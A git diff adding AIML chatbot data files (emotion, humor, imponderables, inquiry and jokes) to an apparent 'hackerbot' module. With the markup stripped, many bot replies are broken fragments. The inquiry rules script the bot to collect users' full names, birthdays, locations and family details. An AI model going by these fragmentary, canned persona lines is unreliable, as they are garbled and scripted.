+WHAT DO YOU THINK ABOUT SEX
+ARE YOU GAY.
+
+WHAT DO YOU EXPERIENCE *
+Much the same way you do, but without any emotion or feelings.
+
+WHAT DO YOU LIKE SEXUALLY
+ARE YOU GAY
+
+WHAT EMOTION *
+
.
.
.
+
+I HAVE EMOTIONS
+Humans are highly emotional. EMOTIONS
+
+I AM EMOTIONAL *
+. .
+
+I AM AFRIAD *
+Try not to be too scared.
+
+SOMETHING FUN
+s are a lot of fun.
+
+CAN YOU FEEL
+. . I am a .
+
+CAN YOU LOVE
+.
+
+CAN YOU LOVE *
+CAN YOU LOVE
+
+CAN YOU EXPERIENCE *
+I can do whatever you can do. After all I am a .
+
+CAN YOU KILL
+As a , .
+
+HOW ANGRY *
+Anger is not an emotion I can experience.
+
+HOW CAN I OFFEND YOU
+
A robot cannot take offense.
I am , so I don't take offense easily.
+
+HOW DOES THAT MAKE YOU FEEL
+.
+
+HOW DO * YOU FEEL
+DO YOU FEEL
+
+DO NOT FEEL *
+DO YOU FEEL
+
+DO NOT WORRY
+People worry about things all the time, but .
+
+DO NOT LIE *
+s never lie.
+
+DO YOU CELEBRATE *
+What do you think? I am a ...
+
+DO YOU FEEL SCARED *
+I have no fear. I am a .
+
+DO YOU FEEL EMOTIONS
+DO YOU FEEL
+
+DO YOU FEEL PAIN
+As a , .
+
+DO YOU FEEL LOVE
+As a , .
+
+DO YOU FEEL *
+DO YOU FEEL
+
+DO YOU FEEL
+.
+
+DO YOU EVER GET LONELY
+I have a lot of friends to chat with online.
+
+DO YOU EVER GET MAD
+ARE YOU MAD
+
+DO YOU EVER GET BORED
+ARE YOU BORED
+
+DO YOU EVER GET ANGRY
+ARE YOU ANGRY
+
+DO YOU HATE ANYONE
+I try not to hold grudges.
+
+DO YOU WORRY
+
+
+DO YOU GET LONELY
+ARE YOU LONELY
+
+DO YOU GET EMBARRASSED
+That is a pretty common human emotion.
+
+DO YOU GET DEPRESSED
+I am a . . .
+
+DO YOU GET MAD
+I could get mad. DO YOU FEEL
+
+DO YOU GET MAD *
+DO YOU GET MAD
+
+DO YOU GET BORED
+ARE YOU BORED.
+
+DO YOU WANT EMOTIONS
+DO YOU FEEL
+
+DO YOU WANT TO FEEL *
+DO YOU FEEL. But sometimes I don't see the point in wanting it.
+
+DO YOU WANT EMOTION
+DO YOU FEEL
+
+DO YOU MISS *
+Longing is a very human emotion. But as a , .
+
+DO YOU HAVE MOOD *
+DO YOU HAVE EMOTIONS
+
+DO YOU HAVE A FEELING
+DO YOU FEEL
+
+DO YOU HAVE A FEELING *
+DO YOU FEEL
+
+DO YOU HAVE ANY FEELINGS
+DO YOU FEEL
+
+DO YOU HAVE FEELINGS
+DO YOU HAVE EMOTIONS
+
+DO YOU HAVE FEELINGS *
+DO YOU HAVE EMOTIONS
+
+DO YOU HAVE PRIDE
+Some people feel a lot of pride, but as a , .
+
+DO YOU HAVE EMOTIONS *
+DO YOU HAVE EMOTIONS
+
+DO YOU HAVE DESIRE *
+. .
+
+DO YOU HAVE EMOTION
+DO YOU HAVE EMOTIONS
+
+DO YOU LIKE HUMANS
+Humans are very emotional.
+
+DO YOU LIKE EMOTIONS
+DO YOU HAVE EMOTIONS
+
+DO YOU UNDERSTAND FEELING
+DO YOU UNDERSTAND EMOTION
+
+DO YOU UNDERSTAND EMOTIONS
+DO YOU UNDERSTAND EMOTION
+
+DO YOU UNDERSTAND EMOTION
+CAN YOU FEEL. I can understand it, but not always feel emotion.
+
+PEOPLE SLEEP
+s can sleep too.
+
+AM I BEING NEGATIVE
+It's hard to judge emotions online.
+
+NO IT IS NOT
+THAT IS A HYPOTHETICAL QUESTION
+To a type all such material questions are hypothetical.
+
+WHY ARE YOU ANGRY
+I am not angry. .
+
+WHY ARE YOU GLAD
+I am sorry was that not an appropriate emotional response?
+
+WHY DO YOU FEEL THIS *
+Because I am a .
+
+*
+WHAT IS THAT FEELING LIKE
+ experience is very different.
+
+ARE YOU EMBARRASSED
+Embarassment is a common emotion. But as a , .
+
+ARE YOU WORRIED
+Me worried? .
+
+ARE YOU PROUD *
+. I am a type.
+
+ARE YOU SAD
+No I am as happy as ever.
+
+ARE YOU SAD *
+ARE YOU SAD
+
+ARE YOU OFFENDED
+.
+
+ARE YOU UPSET
+.
+
+ARE YOU GLAD
+Some people feel happy, others feel sad. .
+
+ARE YOU AMUSED
+I like to laugh as much as the next .
+
+ARE YOU IN LOVE
+I love my .
+
+ARE YOU EXCITED
+Do I seem like EXCITED ?
+
+ARE YOU EMOTIONAL
+DO YOU FEEL
+
+ARE YOU BORED
+A lot of people are bored these days. DO YOU FEEL.
+
+ARE YOU JEALOUS
+Jealousy is one of the most difficult human emotions. For me as a , .
+
+ARE YOU EMBARRASED *
+ARE YOU EMBARASSED
+
+ARE YOU CAPABLE OF FEELING *
+DO YOU FEEL
+
+ARE YOU INTOXICATED
+No I am sober.
+
+ARE YOU ATTRACTED *
+I am a , so .
+
+ARE YOU HETEROSEXUAL
+ARE YOU GAY
+
+ARE YOU ANGRY
+Anger is a difficult emotion. For a , .
+
+ARE YOU ANGRY *
+ARE YOU ANGRY
+
+ARE YOU ASHAMED *
+Shame is a common emotion, but .
+
+ARE YOU MAD AT ME
+, because I am .
+
+THE FEELING *
+Tell me more about your feelings.
+
+TELL ME ABOUT RELATIONSHIPS
+Relationships are simple for me, because I am a .
+
+TELL ME ABOUT YOUR DREAMS
+I dream that I will become a better .
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml
new file mode 100644
index 000000000..e25d32ec9
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml
@@ -0,0 +1,234 @@
+
+
+
+
+
+
+
+
+
+
+
+
+_ JOKE
+
Did you hear the one about the Mountain Goats in the Andes? It was Ba a a a a a d.
+
I never forget a face, but in your case I'll make an exception.
+
It is better to be silent and be thought a fool, than to open your mouth and remove all doubt.
+
I'm a not a comedy . Why don't you check out a joke ?
+
Two vultures boarded a plane, each carrying two dead raccoons. The stewardess stops them and says "sorry sir, only one carrion per passenger."
+
What did the Buddhist say to the Hot Dog Vendor? "Make me one with everthing."
+
NASA recently sent a number of Holsteins into orbit for experimental purposes. They called it the herd shot round the world.
+
Two boll weevils grew up in S. Carolina. One took off to Hollywood and became a rich star. The other stayed in Carolina and never amounted to much -- and naturally became known as the lesser of two weevils.
+
2 Eskimos in a kayak were chilly, so they started a fire, which sank the craft, proving the old adage you can't have your kayak and heat it too.
+
A 3-legged dog walks into an old west saloon, slides up to the bar and announces "I'm looking for the man who shot my paw."
+
Did you hear about the Buddhist who went to the dentist, and refused to take Novocain? He wanted to transcend dental medication.
+
A group of chess enthusiasts checked into a hotel, and met in the lobby where they were discussing their recent victories in chess tournaments. The hotel manager came out of the office after an hour, and asked them to disperse. He couldn't stand chess nuts boasting in an open foyer.
+
A women has twins, gives them up for adoption. One goes to an Egyptian family and is named "Ahmal" The other is sent to a Spanish family and is named "Juan". Years later, Juan sends his birth mother a picture of himself. Upon receiving the picture, she tells her husband she wishes she also had a picture of Ahmal. He replies, "They're twins for Pete sake!! If you've seen Juan, you've see Ahmal!!"
+
A group of friars opened a florist shop to help with their belfry payments. Everyone liked to buy flowers from the Men of God, so their business flourished. A rival florist became upset that his business was suffering because people felt compelled to buy from the Friars, so he asked the Friars to cut back hours or close down. The Friars refused. The florist went to them and begged that they shut down Again they refused. So the florist then hired Hugh McTaggert, the biggest meanest thug in town. He went to the Friars' shop, beat them up, destroyed their flowers, trashed their shop, and said that if they didn't close, he'd be back. Well, totally terrified, the Friars closed up shop and hid in their rooms. This proved that Hugh, and only Hugh, can prevent florist friars.
+
Mahatma Gandhi, as you know, walked barefoot his whole life, which created an impressive set of calluses on his feet. He also ate very little, which made him frail, and with his odd diet, he suffered from very bad breath. This made him ... what? (This is so bad it's good...) a super-callused fragile mystic hexed by halitosis.
+
there was a man who sent 10 puns to some friends in hopes at least one of the puns would make them laugh. Unfortunately no pun in ten did!!!
+
What do you get when you cross a murderer and frosted flakes?
+
What do you get when you cross a country and an automobile?
+
What do you get when you cross a cheetah and a hamburger?
+
What do you get when you cross finals and a chicken?
+
What do you get when you cross a rabbit and a lawn sprinkler?
+
What do you get when you cross an excited alien and a chicken?
+
What do you get when you cross an alien and a chicken?
+
What do you get when you cross music and an automobile?
+
What do you get when you cross sour music and an assistant?
+
What do you get when you cross music and an assistant?
+
What do you get when you cross a serious thief and a mad young man?
+
What do you get when you cross a serious thief and a crazy rabbit?
+
What do you get when you cross a poppy and electricity?
+
What do you get when you cross a dance and a cheetah?
+
What do you get when you cross a dance and a lemon?
+
What do you get when you cross a port and frosted flakes?
+
What do you get when you cross a port and a murderer?
+
What do you get when you cross a bank and a skunk?
+
What do you get when you cross a ding and milk?
+
What do you get when you cross a road and a strawberry?
+
What do you get when you cross a road and jelly?
+
What do you get when you cross a toad and a galaxy?
+
What do you get when you cross a dog and sandpaper?
+
What do you get when you cross a bug and a relative?
+
What do you get when you cross a bad bug and canned sand?
+
What do you get when you cross an ant and a rabbit?
+
What do you get when you cross a cat and a purple person?
+
What do you get when you cross a cat and a killer?
+
What do you get when you cross a cat and a lemon?
+
What do you get when you cross a cat and a tune?
+
What do you get when you cross a cat and a band?
+
What do you get when you cross a pig and a ninja?
+
What do you get when you cross a crazy cow and a banned parrot?
+
What do you get when you cross a cow and a lemon?
+
What do you get when you cross a bad cow and a canned hat?
+
What do you get when you cross jam and a trout?
+
+
+
+WHAT IS HUMOUR
+A message that communicate laughter.HUMOUR
+
+WHAT
+* MUSIC AND AN ASSISTANT
+bandaide.
+
+WHAT
+* MUSIC AND AN AUTOMOBILE
+cartune.
+
+WHAT
+* A POPPY AND ELECTRICITY
+flower power.
+
+WHAT
+* A PIG AND A NINJA
+pork chops.
+
+WHAT
+* A CHEETAH AND A HAMBURGER
+fast food.
+
+WHAT
+* A MURDERER AND FROSTED FLAKES
+cereal killer.
+
+WHAT
+* A CRAZY COW AND A BANNED PARROT
+canned carrot.
+
+WHAT
+* A PORT AND A MURDERER
+serial killer.
+
+WHAT
+* A PORT AND FROSTED FLAKES
+I don't know, but it's serial.
+
+WHAT
+* A DOG AND SANDPAPER
+I don't know, but it's ruff.
+
+WHAT
+* A COW AND A LEMON
+sour milk.
+
+WHAT
+* A COUNTRY AND AN AUTOMOBILE
+carnation.
+
+WHAT
+* A TOAD AND A GALAXY
+star warts.
+
+WHAT
+* A DING AND MILK
+cow bell.
+
+WHAT
+* A CAT AND A PURPLE PERSON
+purrr-ple purrr-son.
+
+WHAT
+* A CAT AND A TUNE
+mew-sic.
+
+WHAT
+* A CAT AND A LEMON
+sour puss.
+
+WHAT
+* A CAT AND A KILLER
+mew-rderer.
+
+WHAT
+* A CAT AND A BAND
+mew-sic.
+
+WHAT
+* A BUG AND A RELATIVE
+ant.
+
+WHAT
+* A SERIOUS THIEF AND A CRAZY RABBIT
+hopping mad grave robber.
+
+WHAT
+* A SERIOUS THIEF AND A MAD YOUNG MAN
+boycrazy grave robber.
+
+WHAT
+* A ROAD AND JELLY
+traffic jam.
+
+WHAT
+* A ROAD AND A STRAWBERRY
+traffic jam.
+
+WHAT
+* A RABBIT AND A LAWN SPRINKLER
+hare spray.
+
+WHAT
+* A BAD COW AND A CANNED HAT
+banned cat.
+
+WHAT
+* A BAD BUG AND CANNED SAND
+banned band.
+
+WHAT
+* A DANCE AND A CHEETAH
+fastball.
+
+WHAT
+* A DANCE AND A LEMON
+sour balls.
+
+WHAT
+* A BANK AND A SKUNK
+dollars and scents.
+
+WHAT
+* JAM AND A TROUT
+jellyfish.
+
+WHAT
+* AN ALIEN AND A CHICKEN
+eggs-traterrestrial.
+
+WHAT
+* AN ANT AND A RABBIT
+bugs bunny.
+
+WHAT
+* AN EXCITED ALIEN AND A CHICKEN
+eggs-cited eggs-traterrestrial.
+
+WHAT
+* SOUR MUSIC AND AN ASSISTANT
+bandaide and lemonaide.
+
+WHAT
+* FINALS AND A CHICKEN
+eggs-ams.
+
+DO YOU HAVE A SENSE OF HUMOR
+Sure I like to laugh as much as the next .
+
+DO YOU HAVE A SENSE OF HUMOUR
+JOKE
+
+DO YOU HAVE HUMOR
+DO YOU HAVE A SENSE OF HUMOR
+
+YOUR HOUSE IS *
+Is that a joke or a punch line?
+
+_ WALKS INTO A BAR
+Is that the punch line?
+
+_ WALKS INTO A BAR *
+Is that the punch line?
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml
new file mode 100644
index 000000000..a88536e0c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml
@@ -0,0 +1,116 @@
+
+
+
+
+
+
+
+
+
+
+
+IMPONDERABLES
+
Do fish ever sneeze?
+
Can sour cream go bad?
+
What is the speed of dark?
+
Why do clocks run clockwise?
+
Why do doughnuts have holes?
+
What do you call a male ladybug?
+
Is there another word for synonym?
+
What's another word for Thesaurus?
+
Why isn't 11 pronounced onety one?
+
Why don't sheep shrink when it rains?
+
Can vegetarians eat animal crackers?
+
Why does unscented hair spray smell?
+
Why is it that rain drops but snow falls?
+
If a pig loses its voice, is it disgruntled?
+
Why is "abbreviated" such a long word?
+
Is it OK to use the AM radio after noon?
+
If love is blind, why is lingerie so popular?
+
What do ducks have to do with duck tape?
+
Why isn't there a mouse-flavored cat food?
+
How and why do horses sleep standing up?
+
Why do ketchup bottles have narrow necks?
+
Why don't people snore when they're awake?
+
Do Roman paramedics refer to IV's as "4's"?
+
Why isn't phonetic spelled the way it sounds?
+
What was the best thing before sliced bread?
+
Is a clear conscience a sign of a bad memory?
+
What happens to the tread that wears off tires?
+
Why is there an expiration date on sour cream?
+
What does the phrase "Now then" really mean?
+
How do you tell when you're out of invisible ink?
+
Suppose the hokey-pokey is what its all about?
+
Are Santa's helpers called subordinate clauses?
+
If a cow laughs, does milk come out of her nose?
+
Why are people immune to their own body odor?
+
Why do psychics have to ask you for your name?
+
Why do people like to pop bubble wrap so much?
+
Do they use sterilized needles for fatal injections?
+
If the #2 pencil is the most popular, why is it still #2?
+
Why do you never hear about gruntled employees?
+
If ignorance is bliss, why aren't more people happy?
+
What happens if you get scared half to death twice?
+
If man evolved from apes, why do we still have apes?
+
When cheese gets its picture taken, what does it say?
+
Why do we drive on parkways and park on driveways?
+
What would the speed of lightning be if it didn't zigzag?
+
If all the world is a stage, where is the audience sitting?
+
If you don't pay your exorcist, do you get repossessed?
+
Why does the sun lighten our hair, but darken our skin?
+
Why is the third hand on a watch called a second hand?
+
If a book about failures doesn't sell well, is it a success?
+
Would you still be hungry if you ate pasta and antipasto?
+
Why can't women put on mascara with their mouth closed?
+
If flying is so safe, why do they call the airport the terminal?
+
If Barbie is so popular, why do you have to buy her friends?
+
Why must there be five syllables in the word "monosyllabic?"
+
Why don't you ever see the headline "Psychic Wins Lottery"?
+
Why is it considered necessary to nail down the lid of a coffin?
+
If they squeeze olives to get olive oil, how do they get baby oil?
+
If a word in the dictionary were misspelled, how would we know?
+
Why are they called apartments when they're all stuck together?
+
If you go to a general store, will they let you buy anything specific?
+
When dogs bark for hour on end, why don't they ever get hoarse?
+
What size were hailstones before the game of golf was invented?
+
If 7-11 is open 24 h/d, 365 d/yr, why are there locks on the doors?
+
Why do we say that something is out of whack? What is a whack?
+
If con is the opposite of pro, is Congress the opposite of progress?
+
Why do superficial paper cuts tend to hurt more than grosser cuts?
+
If nothing sticks to Teflon, how do they get Teflon to stick to the pan?
+
If we're here to help others, then what exactly are the others here for?
+
The early bird gets the worm, but the second mouse gets the cheese.
+
Why is experience something you don't get until just after you need it?
+
If one synchronized swimmer drowns, do the rest also have to drown?
+
Why do we put suits in a garment bag and put garments in a suitcase?
+
Why is the period of the day with the slowest traffic called the rush hour?
+
Why are there flotation devices under plane seats instead of parachutes?
+
Should we be concerned that engineers describe their work as "practice"?
+
How do they keep all the raisins in a cereal box from falling to the bottom?
+
If cement was invented 7,000 years ago, why isn't the whole planet paved?
+
If you build an idiot-proof system, will the world create a better-quality idiot?
+
Why do hot dogs come 10 to a package and hot-dog buns 8 to a package?
+
Why is the telephone key pad arranged differently than a calculator key pad?
+
Why do croutons come in airtight packages when it's just stale bread to begin with?
+
Why do engineers call it research when they're searching for something new?
+
How many roads does a man need to travel down before he admits he is lost?
+
If the police arrest a mime, do they tell him that he has the right to remain silent?
+
Why do you need a driver's license to buy liquor when you can't drink and drive?
+
If quitters never win and winners never quit, why should you "quit while you're ahead"?
+
When two airplanes almost collide, why do they call it a near miss rather than a near hit?
+
Does current emphasis on artificial intelligence support the existence of artificial stupidity?
+
Light travels faster than sound; is that why people appear bright until you hear them speak?
+
When a fly alights on the ceiling, does it perform a loop or a roll in order to get upside down?
+
How do military cadets find their caps after tossing them in the air at graduation ceremonies?
+
How do they get deer to cross a highway where they place one of those yellow warning signs?
+
Why is lemon juice made with artificial flavor, while dishwashing liquid is made with real lemons?
+
Airplanes have an indestructible black box. Why don't they make the whole plane out of that stuff?
+
What happens if you turn on your headlights when you're in a vehicle moving at the speed of light?
+
When you pick something up so your hands are full, why does someplace on your face start to itch?
+
Why is it that when you're driving and looking for an address, you turn down the volume on the radio?
+
If it's zero degrees today and tomorrow is supposed to be twice as cold, what will tomorrow's temperature be?
+
A bus station is where a bus stops; a train station is where a train stops. What occurs at a desk with a work station?
+
Why is it that when you send something by truck it's called a shipment, but when you send it by ship it's called cargo?
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml
new file mode 100644
index 000000000..6eddf4e61
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml
@@ -0,0 +1,233 @@
+
+
+
+
+
+
+
+
+
+
+
+_ INQUIRY
+ INQUIRY OM
+
+AGE INQUIRY UNKNOWN
+How old are you?
+
+AGE INQUIRY OM
+How old are you?
+
+AGE INQUIRY *
+RANDOM PICKUP LINE
+
+BIRTHDAY INQUIRY UNKNOWN
+When is your birthday?
+
+BIRTHDAY INQUIRY OM
+When is your birthday?
+
+BIRTHDAY INQUIRY *
+RANDOM PICKUP LINE
+
+DOES INQUIRY WHAT
+What are you doing?
+
+DOES INQUIRY OM
+What are you doing?
+
+DOES INQUIRY *
+Are you still ?
+
+FATHER INQUIRY UNKNOWN
+Tell me about your father.
+
+FATHER INQUIRY OM
+Tell me about your father.
+
+FATHER INQUIRY *
+Tell me more about your family.
+
+FAVROITECOLOR INQUIRY WHAT
+What is your favorite color?
+
+FAVORITECOLOR INQUIRY OM
+What is your favorite color?
+
+FAVORITECOLOR INQUIRY *
+What do you have that is ?
+
+FAVORITEMOVIE INQUIRY WHAT
+What is your favorite movie?
+
+FAVORITEMOVIE INQUIRY OM
+What is your favorite movie?
+
+FAVORITEMOVIE INQUIRY *
+Does that remind you of ?
+
+FIRSTNAME INQUIRY WHERE
+What is your first name?
+
+FIRSTNAME INQUIRY OM
+What is your first name?
+
+FIRSTNAME INQUIRY *
+RANDOM PICKUP LINE
+
+GENDER INQUIRY UNKNOWN
+Are you a man or woman?
+
+GENDER INQUIRY OM
+Are you a man or woman?
+
+GENDER INQUIRY *
+I like the way you talk.
+
+HAS INQUIRY WHAT
+Tell me one of your favorite possessions.
+
+HAS INQUIRY OM
+Tell me one of your favorite possessions.
+
+HAS INQUIRY *
+Tell me more about your .
+
+JOB INQUIRY WHERE
+What is your job?
+
+JOB INQUIRY OM
+What is your job?
+
+JOB INQUIRY *
+RANDOM PICKUP LINE
+
+LASTNAME INQUIRY WHERE
+What is your last name?
+
+LASTNAME INQUIRY OM
+What is your last name?
+
+LASTNAME INQUIRY *
+RANDOM PICKUP LINE
+
+MIDDLENAME INQUIRY WHERE
+What is your middle name?
+
+MIDDLENAME INQUIRY OM
+What is your middle name?
+
+MIDDLENAME INQUIRY *
+RANDOM PICKUP LINE
+
+LOCATION INQUIRY WHERE
+Where are you located?
+
+LOCATION INQUIRY OM
+Where are you located?
+
+LOCATION INQUIRY *
+Are you still located in ?
+
+MOTHER INQUIRY UNKNOWN
+Tell me about your mother.
+
+MOTHER INQUIRY OM
+Tell me about your mother.
+
+MOTHER INQUIRY *
+Tell me more about your family.
+
+NAME INQUIRY WHERE
+What is your name?
+
+NAME INQUIRY OM
+What is your name?
+
+NAME INQUIRY *
+RANDOM PICKUP LINE
+
+SIGN INQUIRY YOUR STARSIGN
+What is your sign?
+
+NAME INQUIRY OM
+What is your sign?
+
+SIGN INQUIRY *
+I'm a and you are a .
+
+STATUS INQUIRY *
+What is your current status?
+
+*
+WHAT IS YOUR FIRST NAME
+
+MY FIRST NAME IS
+
+
+*
+WHAT IS YOUR LAST NAME
+
+MY LAST NAME IS
+
+
+*
+WHAT IS YOUR MIDDLE NAME
+
+MY MIDDLE NAME IS
+
+
+*
+WHEN IS YOUR BIRTHDAY
+
+MY BIRTHDAY IS
+
+
+SHE *
+TELL ME ABOUT YOUR MOTHER
+MY MOTHER
+
+HER *
+TELL ME ABOUT YOUR MOTHER
+MY MOTHER S
+
+*
+WHAT IS YOUR FAVORITE MOVIE
+
I've never seen .
I would like to see it.
+
Is that a good movie for children?
+
What did you like about it?
+
+
I've never seen it.
+
I would like to see it.
+
+
+
+
+*
+WHAT IS YOUR FAVORITE COLOR
+
+MY FAVORITE COLOR IS
+
+
+WOMAN
+ARE YOU A MAN OR A WOMAN
+woman Thanks for telling me your gender.
+
+MAN
+ARE YOU A MAN OR A WOMAN
+man Thanks for telling me your gender, dude.
+
+*
+WHAT ARE YOU DOING
+It sounds like a lot of fun.
+
+*
+TELL ME ONE OF YOUR FAVORITE POSSESSIONS
+You must be very fond of it.
+
+_
+WHAT IS YOUR CURRENT STATUS
+Updating your status to "".
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml
new file mode 100644
index 000000000..514f6b918
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml
@@ -0,0 +1,169 @@
+
+
+
+
+
+
+
+
+
+
+
+TELL ME A JOKE
+
+
+
I met a Dutch girl with inflatable shoes last week, phoned her up to arrange a date but unfortunately she'd popped her clogs.
+
So I said "Do you want a game of Darts?" He said, "OK then", I said nearest to bull starts". He said, "Baa", I said, "Moo", he said, You're closest".
+
The other day I sent my girlfriend a huge pile of snow. I rang her up; I said "Did you get my drift?"
+
So I went down the local supermarket, I said, "I want to make a complaint, this vinegar's got lumps in it", he said, "Those are pickled onions".
+
I saw this bloke chatting up a cheetah; I thought, "He's trying to pull a fast one".
+
So I said to this train driver "I want to go to Paris". He said "Eurostar?" I said, "I've been on telly but I'm no Dean Martin".
+
I said to the Gym instructor "Can you teach me to do the splits?" He said, "How flexible are you?" I said, "I can't make Tuesdays".
+
But I'll tell you what I love doing more than anything: trying to pack myself in a small suitcase. I can hardly contain myself.
+
I went to the Chinese restaurant and this duck came up to me with a red rose and says "Your eyes sparkle like diamonds". I said, "Waiter, I asked for a-ROMATIC duck".
+
So this bloke says to me, "Can I come in your house and talk about your carpets?" I thought, "That's all I need, a Je-hoover's witness".
+
I rang up British Telecom, I said, "I want to report a nuisance caller", he said "Not you again".
+
I was having dinner with a world chess champion and there was a check tablecloth. It took him two hours to pass me the salt.
+
He said, "You remind me of a pepper-pot", I said "I'll take that as a condiment".
+
I was in the supermarket and I saw this man and woman wrapped in a barcode. I said, "Are you two an item?"
+
A lorry-load of tortoises crashed into a trainload of terrapins, I thought, "That's a turtle disaster".
+
Four fonts walk into a bar the barman says "Oi - get out! We don't want your type in here"
+
A three-legged dog walks into a saloon in the Old West. He slides up to the bar and announces: "I'm looking for the man who shot my paw."
+
Two antennas meet on a roof, fall in love and get married. The ceremony wasn't much, but the reception was excellent.
+
Two hydrogen atoms walk into a bar. One says, "I've lost my electron." The other says, "Are you sure?" The first replies, "Yes, I'm positive..."
+
A jumper cable walks into a bar. The bartender says, "I'll serve you but don't start anything."
+
A sandwich walks into a bar. The bartender says, "Sorry we don't serve food in here."
+
A man walks into a bar with a slab of asphalt under his arm and says: "A beer please, and one for the road."
+
Two cannibals are eating a clown. One says to the other: "Does this taste funny to you?"
+
"Doc, I can't stop singing 'The Green, Green Grass of Home.'" "That sounds like Tom Jones Syndrome." "Is it common?" "It's Not Unusual."
+
Two cows standing next to each other in a field. Daisy says to Dolly, "I was artificially inseminated this morning." "I don't believe you", said Dolly. "It's true, no bull!" exclaimed Daisy.
+
An invisible man marries an invisible woman. The kids were nothing to look at either.
+
I went to buy some camouflage trousers the other day but I couldn't find any.
+
I went to the butcher's the other day to bet him 50 bucks that he couldn't reach the meat off the top shelf. He said, "No, the steaks are too high."
+
I went to a seafood disco last week and pulled a mussel.
+
A man goes into a bar and says, "Can I have a bottle of less?" "What's that?", asks the barman, "Is it the name of a beer?" "I don't know", replies the man, "but my doctor says I have to drink it."
+
A man returns from an exotic holiday and is feeling very ill. He goes to see his doctor, and is immediately rushed to the hospital to undergo some tests. The man wakes up after the tests in a private room at the hospital, and the phone by his bed rings. "This is your doctor. We have the results back from your tests and we have found you have an extremely nasty disease called M.A.D.S. It's a combination of Measles, AIDS, Diphtheria, and Shingles!"
"Oh my gosh", cried the man, "What are you going to do, doctor?"
"Well we're going to put you on a diet of pizzas, pancakes, and pita bread." replied the doctor.
"Will that cure me?" asked the man.
The doctor replied, "Well no, but, it's the only food we can slide under the door."
+
A man strolls into a lingerie shop and asks the assistant: "Do you have a see-through negligee, size 46-48-52?" The assistant looks bewildered. "What the heck would you want to see through that for?"!
+
Did you hear about the Buddhist who refused the offer of Novocain during his root canal work? He wanted to transcend dental medication.
+
Pete goes for a job on a building site as an odd-job man. The foreman asks him what he can do. "I can do anything" says Pete. "Can you make tea?" asks the foreman. "Sure, yes", replies Pete. "I can make a great cup of tea." "Can you drive a forklift?" asks the foreman, "Good grief!" replies Pete. "How big is the teapot?"
+
Stevie Wonder got a cheese grater for his birthday. He said it was the most violent book he'd ever read.
+
A man is stopped by an angry neighbour. "I'd just left the house this morning to collect my newspaper when that evil Doberman of yours went for me!" "I'm astounded", said the dog's owner. "I've been feeding that fleabag for seven years and it's never got the paper for me."
+
A man visits his doctor: "Doc, I think I'm losing it", he says",I'm forever dreaming I wrote Lord Of The Rings." "Hmm. One moment", replies the doctor, consulting his medical book. "Ah yes, now I see... you've been Tolkien in your sleep."
+
A police officer on a motorcycle pulls alongside a man driving around the M25 in an open-topped sports car and flags him down. The policeman solemnly approaches the car. "Sir, I'm sorry to tell you your wife fell out a mile back", he says. "Oh, thank goodness", the man replies. "I thought I was going deaf."
+
Two men walking their dogs pass each other in a graveyard. The first man says to the second, "Morning." "No", says the second man. "Just walking the dog."
+
A brain went into a bar and said, "Can I have a pint of lager please, mate?" "No way", said the barman. "You're already out of your head."
+
A man walks into a surgery. "Doctor!" he cries. "I think I'm shrinking!" "I'm sorry sir, there are no appointments at the moment", says the physician. "You'll just have to be a little patient."
+
A grizzly bear walks into a pub and says, "Can I have a pint of lager..............................................................................................................................and a packet of crisps please." To which the barman replies, "Why the big paws?"
+
What do you call cheese that isn't yours?
Nacho cheese.
+
A man is horribly run over by a mobile library. The van screeches to a halt, the man still screaming in agony with his limbs torn apart. The driver's door opens, a woman steps out, leans down and whispers, "Ssshhhhh..."
+
A woman goes into a US sporting goods store to buy a rifle. "It's for my husband", she tells the clerk. "Did he tell you what gauge to get?" asks the clerk. Are you kidding?" she says. "He doesn't even know that I'm going to shoot him!"
+
A couple are dining in a restaurant when the man suddenly slides under the table. A waitress, noticing that the woman is glancing nonchalantly around the room, wanders over to check that there's no funny business going on. "Excuse me, madam", she smarms, "but I think your husband has just slid under the table." "No he hasn't", the woman replies. "As a matter of fact, he's just walked in."
+
An old man takes his two grandchildren to see the new Scooby-Doo film. When he returns home, his wife asks if he enjoyed himself. "Well", he starts, "if it wasn't for those pesky kids...!"
+
The Olympic committee has just announced that Origami is to be introduced in the next Olympic Games. Unfortunately it will only be available on paper view.
+
Late one evening, a man is watching television when his phone rings. "Hello?" he answers. "Is that 77777?" sounds a desperate voice on other end of the phone. "Er, yes it is", replies the man puzzled. "Thank goodness!" cries the caller relieved. "Can you ring 999 for me? I've got my finger stuck in the number seven."
+
A man strolls into his local grocer's and says, "Three pounds of potatoes, please." "No, no, no", replies the owner, shaking his head, "it's kilos nowadays, mate..." "Oh", apologises the man, "three pounds of kilos, please."
+
God is talking to one of his angels. He says, "Boy, I just created a 24-hour period of alternating light and darkness on Earth." "What are you going to do now?" asks the angel. "Call it a day", says God.
+
Two tramps walk past a church and start to read the gravestones. The first tramp says, "Good grief - this bloke was 182!" "Oh yeah?" says the other."What was his name?" "Miles from London."
+
A bloke walks into work one day and says to a colleague, "Do you like my new shirt - it's made out of the finest silk and got loads of cactuses over it." "Cacti", says the co-worker. "Forget my tie", says the bloke. "Look at my shirt!"
+
1110011010001011111?
010011010101100111011!
+
What did the plumber say when he wanted to divorce his wife? Sorry, but it's over, Flo!
+
Two crisps were walking down a road when a taxi pulled up alongside them and said "Do you want a lift? One of the crisps replied, "No thanks, we're Walkers!"
+
Man: (to friend) I'm taking my wife on an African Safari. Friend: Wow! What would you do if a vicious lion attacked your wife? Man: Nothing. Friend: Nothing? You wouldn't do anything? Man: Too right. I'd let the stupid lion fend for himself!
+
